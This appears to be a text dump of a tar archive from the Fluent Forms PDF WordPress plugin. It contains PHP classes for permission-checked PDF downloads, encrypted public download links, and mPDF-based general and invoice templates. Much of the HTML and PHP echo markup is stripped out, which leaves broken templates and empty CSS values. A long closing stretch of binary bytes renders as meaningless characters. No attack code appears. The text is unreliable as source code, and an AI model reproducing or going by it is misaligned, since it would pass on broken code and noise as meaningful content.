'fluentform-pdf'); wp_send_json_error([ 'message' => $message ], 422); } $hasPermission = Acl::hasPermission('fluentform_entries_viewer'); if (!$hasPermission) { $submissionId = intval($_REQUEST['submission_id']); $submission = wpFluent()->table('fluentform_submissions') ->where('id', $submissionId) ->where('user_id', get_current_user_id()) ->first(); if (!$submission) { $message = __("You don't have permission to download the PDF.", 'fluentform-pdf'); wp_send_json_error([ 'message' => $message ], 422); } } return $this->getPdf(); } public function createPublicLink($shortCode, $parser) { $feedID = str_replace('pdf.download_link.', '', $shortCode); if ($feedID) { $feed = wpFluent()->table('fluentform_form_meta') ->where('id', $feedID) ->first(); if ($feed) { $entry = $parser->getEntry(); $hashedEntryID = base64_encode(Protector::encrypt($entry->id)); $hashedFeedID = base64_encode(Protector::encrypt($feedID)); return admin_url('admin-ajax.php?action=fluentform_pdf_download_public&submission_id=' . $hashedEntryID . '&id=' . $hashedFeedID); } } } public function downloadPublic() { $feedId = intval(Protector::decrypt(base64_decode($_REQUEST['id']))); $submissionId = intval(Protector::decrypt(base64_decode($_REQUEST['submission_id']))); $_REQUEST['id'] = $feedId; $_REQUEST['submission_id'] = $submissionId; return $this->getPdf(); } private function sanitizeData($settings, $sanitizerMap) { if (fluentformCanUnfilteredHTML()) { return $settings; } return fluentform_backend_sanitizer($settings, $sanitizerMap); } } Classes/Templates/GeneralTemplate.php000064400000010056147600022140013657 0ustar00 '

PDF Title

', 'footer' => '
{DATE j-m-Y}{PAGENO}/{nbpg}
', 'body' => '{all_data}' ]; } public function getSettingsFields() { return array( [ 'key' => 'header', 'label' => __('Header Content', 'fluentform-pdf'), 'tips' => __('Write your header content which will be shown every page of the PDF', 'fluentform-pdf'), 'component' => 'wp-editor' ], [ 'key' => 'body', 'label' => __('PDF Body Content', 'fluentform-pdf'), 'tips' => __('Write your Body content for actual PDF body', 'fluentform-pdf'), 'component' => 'wp-editor', 'inline_tip' => defined('FLUENTFORMPRO') ? sprintf(__('You can use Conditional Content in PDF body, for details please check this %s. ', 'fluentform-pdf'), 'Documentation') : __('Conditional PDF Body Content is supported in Fluent Forms Pro Version', 'fluentform-pdf'), ], [ 'key' => 'footer', 'label' => __('Footer Content', 'fluentform-pdf'), 'tips' => __('Write your Footer content which will be shown every page of the PDF', 'fluentform-pdf'), 'component' => 'wp-editor', 'inline_tip' => __('Write your Footer content which will be shown every page of the PDF', 'fluentform-pdf'), ] ); } public function generatePdf($submissionId, $feed, $outPut = 'I', $fileName = '') { $settings = $feed['settings']; $submission = wpFluent()->table('fluentform_submissions') ->where('id', $submissionId) ->first(); $formData = json_decode($submission->response, true); $settings = ShortCodeParser::parse($settings, $submissionId, $formData, null, false, 'pdfFeed'); if (!empty($settings['header'])) { $this->headerHtml = $settings['header']; } $htmlBody = $settings['body']; // Inserts HTML line breaks before all newlines in a string $form = wpFluent()->table('fluentform_forms')->find($submission->form_id); $htmlBody = apply_filters_deprecated( 'ff_pdf_body_parse', [ $htmlBody, $submissionId, $formData, $form ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_body_parse', 'Use fluentform/pdf_body_parse instead of ff_pdf_body_parse.' ); $htmlBody = apply_filters('fluentform/pdf_body_parse', $htmlBody, $submissionId, $formData, $form); $footer = $settings['footer']; if (!$fileName) { $fileName = ShortCodeParser::parse($feed['name'], $submissionId, $formData); $fileName = sanitize_title($fileName, 'pdf-file', 'display'); } return $this->pdfBuilder($fileName, $feed, $htmlBody, $footer, $outPut); } } Classes/Templates/TemplateManager.php000064400000024512147600022140013656 0ustar00app = $app; $dirStructure = AvailableOptions::getDirStructure(); $this->workingDir = $dirStructure['workingDir']; $this->tempDir = $dirStructure['tempDir']; $this->pdfCacheDir = $dirStructure['pdfCacheDir']; $this->fontDir = $dirStructure['fontDir']; } abstract public function getSettingsFields(); abstract public function generatePdf($submissionId, $settings, $outPut, $fileName = ''); public function viewPDF($submissionId, $settings) { $this->generatePdf($submissionId, $settings, 'I'); } /* * This name should be unique otherwise, it may just return from another file cache */ public function outputPDF($submissionId, $settings, $fileName = '', $forceClear = false) { $fileName = $this->pdfCacheDir . '/' . $fileName; if (!$forceClear && file_exists($fileName . '.pdf')) { return $fileName . '.pdf'; } $this->generatePdf($submissionId, $settings, 'F', $fileName); if (file_exists($fileName . '.pdf')) { return $fileName . '.pdf'; } return false; } public function downloadPDF($submissionId, $settings) { return $this->generatePdf($submissionId, $settings, 'D'); } public function getGenerator($mpdfConfig) { $defaults = [ 'fontDir' => [ $this->fontDir ], 'tempDir' => $this->tempDir, 'curlCaCertificate' => ABSPATH . WPINC . '/certificates/ca-bundle.crt', 'curlFollowLocation' => true, 'allow_output_buffering' => true, 'autoLangToFont' => true, 'autoScriptToLang' => true, 'useSubstitutions' => true, 'ignore_invalid_utf8' => true, 'setAutoTopMargin' => 'stretch', 'setAutoBottomMargin' => 'stretch', 'enableImports' => true, 'use_kwt' => true, 'keepColumns' => true, 'biDirectional' => true, 'showWatermarkText' => true, 'showWatermarkImage' => true, ]; $mpdfConfig = wp_parse_args($mpdfConfig, $defaults); $mpdfConfig = apply_filters_deprecated( 'fluentform_mpdf_config', [ $mpdfConfig ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform_mpdf_config', 'Use fluentform_mpdf_config instead of fluentform_mpdf_config.' ); $mpdfConfig = apply_filters('fluentform/mpdf_config', $mpdfConfig); if (!class_exists('\Mpdf\Mpdf')) { require_once FLUENTFORM_PDF_PATH . 'vendor/autoload.php'; } return new \Mpdf\Mpdf($mpdfConfig); } public function pdfBuilder($fileName, $feed, $body = '', $footer = '', $outPut = 'I') { $body = str_replace('{page_break}', '', $body); $appearance = Arr::get($feed, 'appearance'); $mpdfConfig = array( 'mode' => 'utf-8', 'format' => Arr::get($appearance, 'paper_size'), 'margin_header' => 10, 'margin_footer' => 10, 'orientation' => Arr::get($appearance, 'orientation'), ); if ($fontFamily = ArrayHelper::get($appearance, 'font_family')) { $mpdfConfig['default_font'] = $fontFamily; } if (!defined('FLUENTFORMPRO')) { $footer .= '

Powered By Fluent Forms

'; } $pdfGenerator = $this->getGenerator($mpdfConfig); if (ArrayHelper::get($appearance, 'security_pass')) { $password = ArrayHelper::get($appearance, 'security_pass'); $pdfGenerator->SetProtection(array(), $password, $password); } if (ArrayHelper::get($appearance, 'language_direction') == 'rtl') { $pdfGenerator->SetDirectionality('rtl'); $body = '
' . $body . '
'; if ($footer) { $footer = '
' . $footer . '
'; } if ($this->headerHtml) { $this->headerHtml = '
' . $this->headerHtml . '
'; } } if ($this->headerHtml) { $this->headerHtml = $this->applyInlineCssStyles($this->headerHtml, $appearance); $pdfGenerator->SetHTMLHeader($this->headerHtml); } $body = $this->applyInlineCssStyles($body, $appearance, true); if (!empty($appearance['watermark_text']) || !empty($appearance['watermark_image'])) { $alpha = Arr::get($appearance, 'watermark_opacity'); if (!$alpha || $alpha > 100) { $alpha = 5; } $alpha = $alpha / 100; if (!empty($appearance['watermark_image'])) { $pdfGenerator->SetWatermarkImage($appearance['watermark_image'], $alpha); if( Arr::isTrue($appearance, 'watermark_img_behind' )){ $pdfGenerator->watermarkImgBehind = true; } $pdfGenerator->showWatermarkImage = true; } else { $pdfGenerator->SetWatermarkText($appearance['watermark_text'], $alpha); $pdfGenerator->showWatermarkText = true; } } $footer = $this->applyInlineCssStyles($footer, $appearance); $pdfGenerator->SetHTMLFooter($footer); $pdfGenerator->WriteHTML('
' . $body . '
', \Mpdf\HTMLParserMode::HTML_BODY); if ($outPut == 'S') { return $pdfGenerator->Output($fileName . '.pdf', $outPut); } $pdfGenerator->Output($fileName . '.pdf', $outPut); } public function getPdfCss($appearance) { $mainColor = Arr::get($appearance, 'font_color'); if (!$mainColor) { $mainColor = '#4F4F4F'; } $secondaryColor = Arr::get($appearance, 'accent_color'); if (!$secondaryColor) { $secondaryColor = '#EAEAEA'; } $headingColor = Arr::get($appearance, 'heading_color'); $fontSize = Arr::get($appearance, 'font_size', 14); ob_start(); ?> .ff_pdf_wrapper, p, li, td, th { color: ; font-size: px; } .ff_all_data, table { empty-cells: show; border-collapse: collapse; border: 1px solid ; width: 100%; color: ; } hr { color: ; background-color: ; } h1, h2, h3, h4, h5, h6 { color: ; } .ff_all_data th { border-bottom: 1px solid ; border-top: 1px solid ; padding-bottom: 10px !important; } .ff_all_data tr td { padding-left: 30px !important; padding-top: 15px !important; padding-bottom: 15px !important; } .ff_all_data tr td, .ff_all_data tr th { border: 1px solid ; text-align: left; } table, .ff_all_data {width: 100%; overflow:wrap;} img.alignright { float: right; margin: 0 0 1em 1em; } img.alignleft { float: left; margin: 0 10px 10px 0; } .center-image-wrapper {text-align:center;} .center-image-wrapper img.aligncenter {display: initial; margin: 0; text-align: center;} .alignright { float: right; } .alignleft { float: left; } .aligncenter { display: block; margin-left: auto; margin-right: auto; text-align: center; } .invoice_title { padding-bottom: 10px; display: block; } .ffp_table thead th { background-color: #e3e8ee; color: #000; text-align: left; vertical-align: bottom; } table th { padding: 5px 10px; } .ff_rtl table th, .ff_rtl table td { text-align: right !important; } resolveCenteredImage($html); try { // apply CSS styles inline for picky email clients $emogrifier = new Emogrifier($html, $this->getPdfCss($appearance)); if ($keepBodyTag) { $html = $emogrifier->emogrify(); } else { $html = $emogrifier->emogrifyBodyContent(); } } catch (\Exception $e) { } return $html; } private function resolveCenteredImage($html) { if (strpos($html, ']+>)/i', $html, $matches); foreach ($matches[0] as $image) { if (strpos($image, 'aligncenter') !== false) { $newImg = "
$image
"; $newHtml = str_replace($image, $newImg, $html); if ($newHtml) { $html = $newHtml; } } } return $html; } } Classes/Templates/InvoiceTemplate.php000064400000023020147600022140013671 0ustar00 '', 'invoice_upper_text' => '', 'invoice_thanks' => 'Thank you for your order', 'invoice_prefix' => '', 'customer_name' => '', 'customer_email' => '', 'customer_address' => '' ]; } public function getSettingsFields() { return array( [ 'key' => 'logo', 'label' => __('Business Logo', 'fluentform-pdf'), 'tips' => __('Your Business Logo which will be shown in the invoice header', 'fluentform-pdf'), 'component' => 'image_widget' ], [ 'key' => 'customer_name', 'label' => __('Customer Name', 'fluentform-pdf'), 'tips' => __('Please select the customer name field from the smartcode dropdown', 'fluentform-pdf'), 'component' => 'value_text' ], [ 'key' => 'customer_email', 'label' => __('Customer Email', 'fluentform-pdf'), 'tips' => __('Please select the customer email field from the smartcode dropdown', 'fluentform-pdf'), 'component' => 'value_text' ], [ 'key' => 'customer_address', 'label' => __('Customer Address', 'fluentform-pdf'), 'tips' => __('Please select the customer address field from the smartcode dropdown', 'fluentform-pdf'), 'component' => 'value_text' ], [ 'key' => 'invoice_prefix', 'label' => __('Invoice Prefix', 'fluentform-pdf'), 'tips' => __('Add your invoice prefix which will be prepended with the invoice number', 'fluentform-pdf'), 'component' => 'value_text' ], [ 'key' => 'invoice_upper_text', 'label' => __('Invoice Body Text', 'fluentform-pdf'), 'tips' => __('Write Invoice body text. This will show before the invoice items', 'fluentform-pdf'), 'component' => 'wp-editor' ], [ 'key' => 'invoice_thanks', 'label' => __('Invoice Footer Text', 'fluentform-pdf'), 'tips' => __('Write Invoice Footer Text. This will show at the end of the invoice', 'fluentform-pdf'), 'component' => 'value_textarea' ] ); } public function generatePdf($submissionId, $feed, $outPut, $fileName = '') { $settings = $feed['settings']; $submission = wpFluent()->table('fluentform_submissions') ->where('id', $submissionId) ->first(); $formData = json_decode($submission->response, true); $settings['invoice_lines'] = '{payment.order_items}'; $invoiceUpperText = Arr::get($settings, 'invoice_upper_text', ''); if ( false !== strpos($invoiceUpperText, '{payment.receipt}') || false !== strpos($invoiceUpperText, '{payment.order_items}') ) { $settings['invoice_lines'] = ''; } $settings['payment_summary'] = '{payment.summary_list}'; $settings = ShortCodeParser::parse($settings, $submissionId, $formData, null, false, 'pdfFeed'); $htmlBody = $this->generateInvoiceHTML($submission, $settings, $feed); $htmlBody = str_replace('{page_break}', '', $htmlBody); $form = wpFluent()->table('fluentform_forms')->find($submissionId); $htmlBody = apply_filters_deprecated( 'ff_pdf_body_parse', [ $htmlBody, $submissionId, $formData, $form ], FLUENTFORM_FRAMEWORK_UPGRADE, 'fluentform/pdf_body_parse', 'Use fluentform/pdf_body_parse instead of ff_pdf_body_parse.' ); $htmlBody = apply_filters('fluentform/pdf_body_parse', $htmlBody, $submissionId, $formData, $form); if(!$fileName) { $fileName = ShortCodeParser::parse( $feed['name'], $submissionId, $formData); $fileName = sanitize_title($fileName, 'pdf-file', 'display'); } return $this->pdfBuilder($fileName, $feed, $htmlBody, '', $outPut); } private function generateInvoiceHTML($submission, $settings, $feed) { $paymentSettings = false; $logo = Arr::get($settings, 'logo'); if(class_exists('\FluentFormPro\Payments\PaymentHelper')) { $paymentSettings = \FluentFormPro\Payments\PaymentHelper::getPaymentSettings(); if(!$logo) { $logo = Arr::get($paymentSettings, 'business_logo'); } } ob_start(); ?>

serial_number; ?>


id); ?>
created_at))); ?>


ªïµo A` ×ÂçÒ#£ËÛê2o1@ËrïªTrdŒ7 ¸j%0ZT×–­¥FF#“ÛÛú^œ¹ €–Ô}D‰‘QçÆýý}}/ÎÜ@ š:l®ë'~Ó= aMŸd]ZdllÕ󺓉)R% j:.*CÉ0Eª  !mÅE¥”È°“T¿ €´•"£Î¤îî&õ½8s5;ûXF\TÚŽŒÑ¸¾×¾›XÍÞ6P³­½”Ö {êj32ÖGÍOš#0jk¿•:§HYèÝ>Бñ½:yßÚª¶u !"ƒ! 3u¶w¯’Z'0&2ê3¹µMmÛ@ †Ûë/Ð’!GF;IÑ.o-@‹†u`ÜÞÞÔóÂÌM`´lˆ‘a£¿¼µZdŒÆy_r €B )2ÖGù^멉ÃöZ%0 2¨È¨ég¼¿»¯ç…™‹À(ÌP"cd«Ú^2û­Gnÿÿ%­í ý6@/T‘qüuJw|WEÆÑOÊ]¨};¹Mã õÒÑ#÷_ým2 ýÑ÷ÈØØJéæ*ç•Í\_]NÆB£ `F27™LÒÅùÙwßx¼‘FãQÚoN]¯s…9 t}ŒºÛ{*ß‹¯«4ÙX__O£Ñ8Æã´1Þ0Ê‘™Àè€>FF[#wwwéîî:ÝÜ\?$GJ£ÑhÕ´*£ËÑ·È(é°½˜V_Õ’µµµé(GÄÆÆtŠÕxú×x›Àè>EFɃ÷÷÷ßM­z<Êѱ±1 Ž‘ãÈŸå®tLŸ"#žÑ'u_X&Õ(Çõõlœãñ(G5µÊ(‡À褾DFŒbt%0žz<ÊQ‰äã‡)UÓ‘ŽŽr €ŽêCd”vZùªbùt„ãú*]<¼ÖжÉ00ñË”þâ¼ë}÷ßý_)ýïÿ¦½rÞÈ `‡Ø—¶É}<µªOF¬ýüÓÚÎÁÐo,äþâdz >ù•|_›o“[©F9ú°M®Àè‘ñ?ýË´öË?úm€…Üù7éæ¯þÜM¨É[‘±±åΧŒrÌÄbñïÖrtì0@@­Œd,.ÇÇÓû°M®Àè¡õÂvK})2ÆXƒ‘ËkÛä–t Àè¡_ìÎvh*}w)#Ë{î0Àƒƒ£Ö§SyKzh{4Û¶´m`«È¸>ëIsØÛÛ/b­†w §ªs2JŒÑf¿Ï…hBÄÅæÖv×"0z¬ ‘±VÚ‚‘Ž)).’Àè¿Ò#crSÐB‘Ž)-.’EÞ0<¿¹Hé_ðÆwÑä>¥ÑœöÇûüXÇ_—·ð;]Þp%ÝSb\$ÃóÏ¿š}Ñ7W)Ï~=úbùÃéJ Wj\$S¤Êu7IéÓ׳¯›‡#žO?üp¦E•:]Šù•I`”éê<¥¿û>,*“ÛÙhÆ*DFw•I`”'F)N¾}yÓÅéÃcQ"£{ºI`”#¦>|“ÒåÙÛ—´êT©4€ÈXïÑÖ•¸H   ±eëÕÅ|—S¥Î>­~é}ŽŒx ÿÙOÒþþaÚÚÞN£Q7ôëR\$»H´¯Š‹é–­ ˆ‘ŽÍí”6wVûú¾»ÔÆææô+Üßߧ›ë«tss“nooÒ]á?p×â" €öÅt§Eã¢ïû­8 {µ£‘q7™ü语­­MØ«‡ö»»Iº¾¾N·ÁRŠ.ÆEí:û8ÿ´¨çD Dd|¾úѷȘgtb}}”¶·wRÚž M&·?Ž¶t5.’ÀhOì;B­*eëbõ©RÉa|i4§qJ÷2Bãúæjúë䙑:t9.’ÀhÇýÃÈC.¹¦J%‘ñãéWzX¿1 Žë«ÚÖot=.’ÀhGŒ\ÄNP¹Ä³îñ7)}‘çû÷«îãûD¬ßx¼`<ÖoÌ‚ã:Ëú>ÄEÍ‹çÞË S£žª¦\íìçy½®GFÝSšbýÆæÖè»(ˆõ±;ÕÍCp,¢/q‘@ó"êz`¿8Nik'¥õLG>˜.5¿X¿_Û Æctãæöfº-îk±Ó§¸H yWçõ}ˈ€“oóM•J"ciÕúÝïÖoÜÜ^OG8ªõ}‹‹$0šu}‘wíÅsrO•J"ce?X¿±;[¿Ñ#}ÓÃCáÊu}ÙÌ¥ÅT©ÜÇ8T‘±Þ¡'È5(Q¬ßèc\$ЬëÕ[Ä]æmp+]Œ šå@CbD¡ÉéE·×)ç]‘Ákü±hH¬hZÆ] »µŠ ^â@CnŒxø?ø,ß–µOu!2në^QÏ €†49=j{/¥÷?Kik·ÞïSzd¬zº6‹ ibŠT<èÇûïSZkèI¯äȈCîDF³@OŒ7g£[Íÿ<¥FFœ }rüQd4H`ô@L‰:úIs£Ï$Ð}MN‰zÈ@`tX%Ã&0:*Ö\”‘1\`Igg§s·åðó²ß9‘1L` §Rº8Méãïf¿6m÷°¾ôrÃ#0qqyöýß#ñ×îß8H/×ö±ñ°¾³ßwMd ‹ÀXÀÓ¸¨Ä_ûôû”î&/¿V®ì8»„£!2†C`Ì饸¨Ü^ϦL½tb÷h#ÏÞ9èæ;&2†A`Ìá­¸¨ÜÝ¥ôéëç×eŒ3FìÕ…µ/ý'0Þ0o\<öܺŒk06·»ÿn‰Œ~¯X&.*ÕºŒj+ÛX71¯v·s-o›Èè/ð‚Uâ¢ë2Ž¿NéúböVèK`¤G‘±6Z+àj¾'2V#0ž‘#.*±.ãø›”ÎW „UG?J4Œ_¥µ5‘Ñà‰œqñXF¼ö²º¼¸û5ãíq:8,32noZ<ª½£À#uÅEåîÃø†j4*/2öööÓÆæfWÒ-àAÝqÁëJŠŒˆ‹Í­lÙÕ .ŠQBdˆ‹Õ `ðº/Þ7mF†¸XÀ­k#÷YÃÑFdˆ‹<0Xw“ïϧèŠÛmjÔddˆ‹|0X±ík‰§I¿f(Ó¤*MD†¸ÈK`ƒV&Ý•ÈZ`¤š#C\ä'0€ÁëRdD` eÆcuD†¸¨‡ÀèXd\_p-Èâ¢>àAW"£k ÓsÊâ¢^à‘.DÆÕÅl¬¡Z%2ÄEýÀ]ˆŒ¡Ÿ:¾Ldˆ‹f¬ýÃôg÷CøA‡`íçœÖv†~`!÷'éþ«¿uÓX™÷Óäú2ÿö?¤û‡ ÖÖGéðgÿImvÿy•O&·éäøSº¿ý‘V\4G`¼bÞØ6ħ÷ñ)~|š?do½Gâ¢Y¦H¼¢ÉÓ¤Ôñ`ØCöÚ{$.š'0Þ 2Ê÷Ü{$.Ú!0æ 2Ê÷ø=íså‹÷èèÝgâ¢E`"£|%¾7C"0$2àe` "ž'0–$2àÇÀ DüÀX‘È€ï € DÌ €LD €¬DC'02 ™À¨È`¨@MDC$0j$2P3‘ÁŒ½Û@éâá÷þî~ú0|ûèAxc¼1ýu}´žÖ×GEÿUdÄÃ|ü%©"#®/®VáOP”iDÜܤ›Ûë鯓ÉäÅË»|òßÇã4ÒæÆVol÷ÆŠ †ÀŸ 7××éêê2ÝÜ\/}9··7Ó¯«ËËét¤Í´µµ]Tlˆ úΟ 5ñ@Qquy‘îîî²^F¼öõõÕôk4¥íí´¹µ]Ä›-2è3‹¼€V\_]¦O¿MçgÙã⩘fuvv:ý~ñ}K`á7}%0€FźŠãO¦üMz!ß7¾\GÛD}$0€FÄëùùi:9ùôêÂí&Ä÷ë8=9n}Š’È oP»x@=9þ8]|]’XPÓ¦by›D}"0€ZÅš‡Ùj»£/‰èÓÓãtvzÒêh†È /P›˜ÕÆZ‹eÄnS1ÊÒæC´È P‹(mJÔ[¦k3Ž?µ:eJdÐuÈ*Bc—¦è¢jÊÔååEkW/2è2d3{øüXìz‹EÄù1 Ó‘AW ‹>ÅE%FaÚ\ü-2è"dÑ·¸¨T‹¿EƉ ž#0€•Å§ü}Œ‹Êlñ·ÈxŽÈà)¬$⢫ º!2^&2xL`K‹Cô†‘ñ2‘AE`K‰É8DohDÆËâžLnÆÐ `aÕ§ÕC%2ž···Ÿ6·¶‹º&š'0€…ž·öp] ‘ñCâ‚ŠÀ'\ßÞÞ¸i"ã;â‚Ç0·Xw'\ó½¡G†¸à)Ì-¶¤ådžâ‚ç `.15ªÏ‡é­jh‘!.x‰ÀÞÍ—çnÔ†â‚× àMçg§ƒß5j^} qÁ[ÆîðšXØÝôiÝëëëics3mmmO˜+ww“4¹L¯§äÄ«È88|×Êâë*2⬒œ¡#.˜‡À^u~ÖÜ®Qñ0¾µ½“vvvŸýß××Gi}s4Ýûý麫ˋ"GWúâ‚y™"¼èö榱3/F£Q:ìOd@^¨mýÅV†éQ¹§FÅaOÏ}ÀÒímþŒ!Xõ·‹‹ó¬S£^;ìOd@.¦ ÕñàÓ£VëB®./²^Óã©QÏ°:¬ÏÙÜ\mq÷ùÙYÖ‡é˜5ÞØxó÷‰ XÍØý€a‹‡îý‡ï›ëëts{=ýu•©I«NŠQ•››|ëBâz^šõœjkݳ³Ól×K‡ï^¶ à;Ó0ØMQŠÅß‹®ÑXuD$NìÎiwwoá‡q‘ËÀ³b{ÙííéWLɉQ…ëë«éÈÂ[St6昊ô’8ð/ç™q Þ²‡ý‰ XœÀÞTMyª¦=M&·£WÏÆÀÆ ë/b稜vvvWzµ.DÆáÑû®f°°ÑhœvvÆÓ‡÷˜J5ݘM¥Š­`—ýD=F/rnK£ó,ì~KDÆíä6û9Ä”D`+‰©T›[£ï>éÑe•6zñØÚZy›oÆnWËNÿ‚ºØ¦È*F7–QêèE©Ä¥@.3ª·µµÚ9OÅ4°Rˆ J&0€ÖÅÃ{Σb H_ÀÅ¥@ë®®ò.žŽéQ¹Ýß盾µ,qA  Uq¦Fœ¯‘Sk/rŽ°,C\ÐhÕMæ¸ã%š¿$¶âm“¸ KЪ8?#·Ü#“ÛöC\Ð5hMLº¹É¹Ýܶsâ‚.@kJÚúõ57+Œ²ÄÉæ› ÿ}â‚®@kÚXDDÐ*nln¦ýƒÃ´¿8Ý>wâ‚.Ë»ŠV­ÿã’ÖÞÿ¡7Zôó÷éŸþã?žëþÕ—¿I¿þò+oƒvÿå¿OëgçÙoÁÝý"mìïfy­³¯qü_¤Ñü$âð¿É]:ý_¥›ã“ÿÞßÿyÚz´ô÷ë¢û¿Iwÿê_ êgî3Ñ#£_ý“´öË?úm€Výý÷)ý·¿šï Ö~™Ò¿ùÒûÅ°Mþß”æûL1÷ïRí¯þ:§)MþÓÕ®qý0¥Ñá÷ÿý]œûqžÒÙÇØꇿ÷à³”¶òtQ§Üù7£G´ìö&¥ë‹”n®RŠÝP'·?¾žõõ”F±;RJãÍ”6¶RZuû»­qùE<Àï¬q}Ç«_K¼WOEDÄ_?ùvö¾§Çý#0 ')]_>OÅ'ÝwWß?Œ†x ÝÚéflÔy0v,íˆ{õÜÃý<âÚN¾ùñCNñž}1%‰€ô…À€EXœ§ty¶ú÷Œ‡èøŠ©6ñ ŸØoîtçݬûìºÓ)½ûiJk niqñé÷ó…ß<ÞŠœUGZ 4­ñIõy†)7Ϲy݈¬w»ñix®ø×^?Báè'óGFL‹Š‘‹\×–ù@qèÛÔ@Íâ¡õãßÕŃqÌëï÷x:ÕPÅODÆ<£%€Ç_ç ŸqÞÅ¡t5Ô(Zc SÓ¦Ö_ÏÖgì¿_|šPŸÄ½øø»”¶÷gÓ‘ß‹YŠu0uŒ¨Œ$0 &± ÇZ‹U\=ìN‘Ñ¥õ¹Åb툈øŠÅñqÞÝýý,>ê´ì"sè2™Å§âÇß”3EéîázJÍhë:š<<\`0DÖ`@FÕD%®ˆÑŒX›Qçù‹èûúqÁP ȤŠ‹&?!_T¬3ˆ…Ìq]Ûú¾.D`0T29ûTv\TbÊTì4ÕÆâóÇú>‚1ä5/ ›À€ âa½íÝ‹Š®b!z›úú)œa‹Z†J`ÀŠ®/fë]QÛÙÆô®6ôõSþÍí.Z"0`ñ`Þö(ÀªbAz¬i#2¶z;\´D`À ".îZúô?§êÄë¦#c}Ô¿iRñóÄÏC%0`IñÉlýÚmEÆö^¿þîpÐ"KŠS¡û¦ÈØÚ-Šîƒ½°=-C'0` 1zQâaz9´{GÍ}¯:|ÖŸV!0` }½x¬éȈݤºþÉL²ö,ìnÒßÑ‹ÇšŽŒøô½£O&ãMk/ "0`A}ZØý–&##>ýß{Wÿ÷É-¢hÿ}÷®ê"0`A× ŒÔpdÄ‚ï®í*QäÔnøžÀ€ azÔSMFFŒt徘Q|O`À†•¦##Ö5”,FZ¬»€°€Û›aß­¦"cm=¥£Ÿ”Ö]Àó,àîÖÝj22Þý´¼51j!.àe0ôŒJÓÓ¥JØ]*v‹Š­tM‹‚× X@œÁL“‘±³ŸÒÑ)ÆíÜü˜ªuø…Ý0 ˜40E*N´Ž¯.:×ddÄ=‰)SMŠ‹ø¾¶¢…ù´ô9tO£±Î`{ÿDZ1%ëòtvöÆ]C'j/ªŠŒX”½VsÅëÇt©ƒ”ÎSº<«ï{U»DÅ€ÀüÌ©ŽÑ‹˜z3Ý’õ…OÇã¯Çÿ~wXÿõ*šŒŒôpêwÜ—€‹“”®ÎóXŒmî X…À€–,²Õiõ@kN¾)s4£éÈH÷%F4â+Fy✒›ëÙµÌýë³éW›ÛÍ];ô•À€9å©[d,&®is§¼ë~hì~ôÇÿŸÿ½ô'oèwÚu°À?Uÿ«Ÿ§ô«÷ްלަt9)÷úrÙ-ög§)qïO Yû²?Ni{TÀ…P‹û³¿—þç¿roûB`ôÈŸ|¾›þÌà tÆnϾïbwèw WL‘²@6ÈF`Ù d#0€lÀ²q’wü×ÿüoÓÚ/ÿtè·Zõ«÷)ý³_ÍwýïRúë/½_Ïùøw)Ý^ç}Íõõ”öÞ¥´õÂÁ÷w)]_¦tö1¥»»¼ß;§í½”öß—w]Wç)|»ØßsðÙËïÃrÿåßzÇ{D`PœÜq±µ3{(_{eÜ>þ·xØÝÜNéü8¥‹Ó2ÿ\\žÍ~--2ªP˜72Äô—)R4"Øï[ˆOü>=.[{é8úb6êQ¢ˆŒÓå]XC„Ã[Äô›À vñ0SbêÓÍÕëßín’ïjV™N´±•ÒûŸ¥4ÞÌw=9u52ÄôŸÀ Vñ\Më™Ü¦ôéëÙ¤—ÄïÉ!Â`ÕiD1šñP)Q×"C\À0 jó8.‹ÀˆÐÈ9ZñÔÞQ¾×ŠP‹yâ†Ã"ojñR\TbªÔÇßÍÞ7wò^AÄ@LqÊiºH|­ÌÅߥ/ü~úŸ~3‚@voÅE%¶ƒ=þf¶>#§ºfcñ÷<‹˜ÛPòH†¸€a1‚@VóÆÅc1*psçøÑ8ÿèÅc‹nÇÚ¤RG2€ad³L\Tâì‹ã¯çßNö%qŽEÝDÀËY¬•é Ú+ž•‘{=ÇKDÀó¬Á`e9â"—ñFsßkÞƒåÚPêš  ÿ+)).býŪS¬%2~H`°´’â"¬Úù¾"à{€¥”©áéQO‰ €ÀÂJŒ‹Ðôô¨§D€À`A¥ÆE)D0t€¹‰‹ùˆ `Ès¹¹‹ÀP æ²±Uîs©D0D€¹•üÀ®/Sº_ñ$ðÜD04€…”üÀ|{ҧߋŒEˆ 7ÀÂDÆâD0€¥ˆŒÅ‰ `K‹@ß V"2'2€>ߧ)ÝÞ,DÆâJ¾g±%1À²À€§ôá·)}Léä›ÕÂEÆâJ¼gq=q]˧rGXD`Ü=vrÛüÏQWÔˆŒÅ­Êº`¸@4ãÍ”Ž¾Hi÷°¾ï!2ºI`ô@“Ó£"*Þý4¥­ú¿—ÈèÀ\Fã”ÞýA½£ÏÝ"0z`’ù\Š§b´"F-ÆíÜ+‘Рîj|¸ÝÞ›­·Xkùß" /Š¸Ø_ÎýåÕEMG†¸†D`05”ŒJS‘!.€¡LÅa}÷wúuG†¸†H`ðˆŒ¡©+2Ä0T€ï\ô4ôÜ‘!.€!|纰Ӯ›”+2Ä0t€ïÜ݉ŒU"C\ ž¸:öY62ÄÀŒÀhÉúZ™wþêbx[Ö>µhdˆ €ï €–üb7¥õBÿ)|üµÈ˜72ÄÀ €–lR:ü¢ÌȈµ"ãíÈ?&0Z4Þ¥{)2ÄÀó@ËDFùžF†¸x™À(€È(_âàu "£|âàu  "€®…t™À(È «@¡D]$0 &2èP8‘@— €t…Àè‘@ €”N`tŒÈ d ƒD¥%2(‘Àè0‘@iÆÞ`Èâá÷îöá×IJ“Û—oÆÆVJk볇úøZ+䡾ŠŒx˜‡ú’T‘×× @ÿ `P""n®Rº¾˜ýºÈyüþÇFãYtlnm”B`½w—ÒõeJ—g?Ž„UÄhG|Å놭”NvÛ»›"€XƒôV„ÅùqJ~›ÒÉ·yãâ9W)ýÇíÞMk2h›ÀzçqXį¥}š_7‘@›Ð+±¶âãß 3,´E`½£'ߤtüÍë;A ‰È  è¼xHQ‹XÁ‰ š&0€N»8Méãïº9jq6iæûˆ š$0€Î:ýÒÙÇî^ÿ8kîúEM@çTë-ªó'ºl:ów³Ÿ©n"€&  SâAüÓïûµÞâöz¶¥n×"€º  3ª¸ˆò¾©®¯ÎëÿÁDu@gô5.*ñp'Ž‹ ‘Ðeè„XÐÝç¸xLdˆ €.@ñâTî>,è^DDFüÜuä&0€¢Ý\5ó ]¢ø¹c—©º‰ 